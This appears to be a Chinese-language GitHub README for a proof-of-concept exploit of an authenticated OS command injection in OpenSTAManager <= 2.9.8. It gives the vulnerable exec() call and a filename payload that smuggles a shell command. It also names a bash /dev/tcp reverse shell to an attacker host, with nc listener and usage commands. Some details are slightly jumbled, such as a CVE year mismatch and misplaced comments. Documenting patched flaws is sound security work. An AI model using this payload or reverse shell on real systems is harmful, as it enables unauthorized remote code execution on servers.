c0gnit00/CVE-2026-69212
GitHub: c0gnit00/CVE-2026-69212
针对 OpenSTAManager <= 2.9.8 OS 命令注入漏洞(CVE-2025-69212)的 PoC exploit,通过上传含恶意文件名的 ZIP 实现远程代码执行。
Stars: 1 | Forks: 0
# CVE-2025-69212 — OpenSTAManager OS 命令注入 (RCE)
**CVE-2025-69212** 的概念验证 exploit,这是 OpenSTAManager <= 2.9.8 中的一个 OS 命令注入漏洞,允许经过身份验证的攻击者通过恶意构造的 ZIP 文件上传实现远程代码执行 (RCE)。
## 安全公告
- **CVE:** CVE-2025-69212
- **GHSA:** [GHSA-25fp-8w8p-mx36](https://github.com/advisories/GHSA-25fp-8w8p-mx36)
- **受影响版本:** OpenSTAManager <= 2.9.8
- **修复版本:** OpenSTAManager 2.9.9+
- **CVSS:** 严重
## 漏洞详情
该漏洞存在于 `src/Util/XML.php` 的第 ~100 行,应用程序在此处将用户控制的 filename 直接传递给 shell 的 `exec()` 调用而未进行过滤:
```
exec('openssl smime -verify -noverify -in "' . $file . '" -inform DER -out "' . $output_file . '"');
```
当通过 `importFE_ZIP` 插件 (`/actions.php`) 上传 ZIP 存档时,应用程序会解压该 ZIP 文件,并将每个 `.p7m` 条目的 filename 传递给 `exec()`。攻击者可以构造一个带有恶意 filename 的 ZIP 文件,从而突破双引号参数的限制并注入任意 shell 命令。
**注入 payload (filename):**
```
invoice.p7m";;echo ".p7m
```
**产生的 shell 执行:**
```
openssl smime ... -in "invoice.p7m";;echo ".p7m" ...
# 启动 listener
```
## 环境要求
- Python 3.x
- `requests` 库
- 有效的 OpenSTAManager 凭据(任何有权访问导入插件的角色)
- 攻击者机器上的监听器(例如 `nc`)
安装依赖项:
```
pip install requests
```
## 用法
```
python3 CVE-2025-69212.py -u -U -P --lhost --lport
```
### 选项
| 参数 | 必需 | 描述 |
|---|---|---|
| `-u`, `--url` | 是 | 目标基础 URL(例如 `http://target.htb`) |
| `-U`, `--username` | 是 | OpenSTAManager 用户名 |
| `-P`, `--password` | 是 | OpenSTAManager 密码 |
| `--lhost` | 是 | 用于 reverse shell 的 IP 地址 |
| `--lport` | 是 | 用于 reverse shell 的监听端口 |
| `--proxy` | 否 | HTTP 代理(例如 `http://127.0.0.1:8080`) |
### 示例
```
# ^^^^^^^^^^^^ injected here
nc -lvnp 4444
# 运行 exploit
python3 CVE-2025-69212.py -u http://target.htb -U admin -P 'password' --lhost 10.10.14.5 --lport 4444
# 通过 Burp Suite 路由
python3 CVE-2025-69212.py -u http://target.htb -U admin -P 'password' --lhost 10.10.14.5 --lport 4444 --proxy http://127.0.0.1:8080
```
## 工作原理
1. **身份验证** — 使用提供的凭据登录 OpenSTAManager
2. **构建 payload** — 构造一个包含 `.p7m` 文件的 ZIP 存档,该文件的 filename 中包含注入的命令
3. **Base64 编码** — reverse shell (`bash -i >& /dev/tcp/LHOST/LPORT 0>&1`) 经过 base64 编码,以避免 filename 中出现正斜杠
4. **上传** — 通过 `importFE_ZIP` 插件将 ZIP POST 到 `/actions.php`
5. **执行** — 服务器解压 ZIP 文件,将恶意 filename 传递给 `exec()`,从而触发 reverse shell
6. **线程处理** — 上传在 daemon thread 中运行,因为 bash 会保持 HTTP 连接打开;脚本会干净地退出,无需等待响应
## 修复建议
更新至 OpenSTAManager **2.9.9 或更高版本**,该版本在将 filename 传递给 shell 命令之前会对其进行过滤清理。
如果无法立即打补丁,请禁用 `importFE_ZIP` 插件或限制对 `/actions.php` 的访问,仅允许受信任的用户访问。
## 免责声明
本工具仅供**授权的安全测试和教育目的**使用。仅在您拥有或获得明确书面许可进行测试的系统上使用。未经授权对您不拥有的系统使用本工具是非法且不道德的。作者对因滥用本工具而造成的任何误用或损害概不负责。
## 参考
- [GHSA-25fp-8w8p-mx36](https://github.com/advisories/GHSA-25fp-8w8p-mx36)
- [OpenSTAManager GitHub](https://github.com/devcode-it/openstamanager)
- [NVD - CVE-2025-69212](https://nvd.nist.gov/vuln/detail/CVE-2025-69212)
标签:CISA项目, Python, Web安全, 命令注入, 安全, 无后门, 蓝队分析, 超时处理, 逆向工具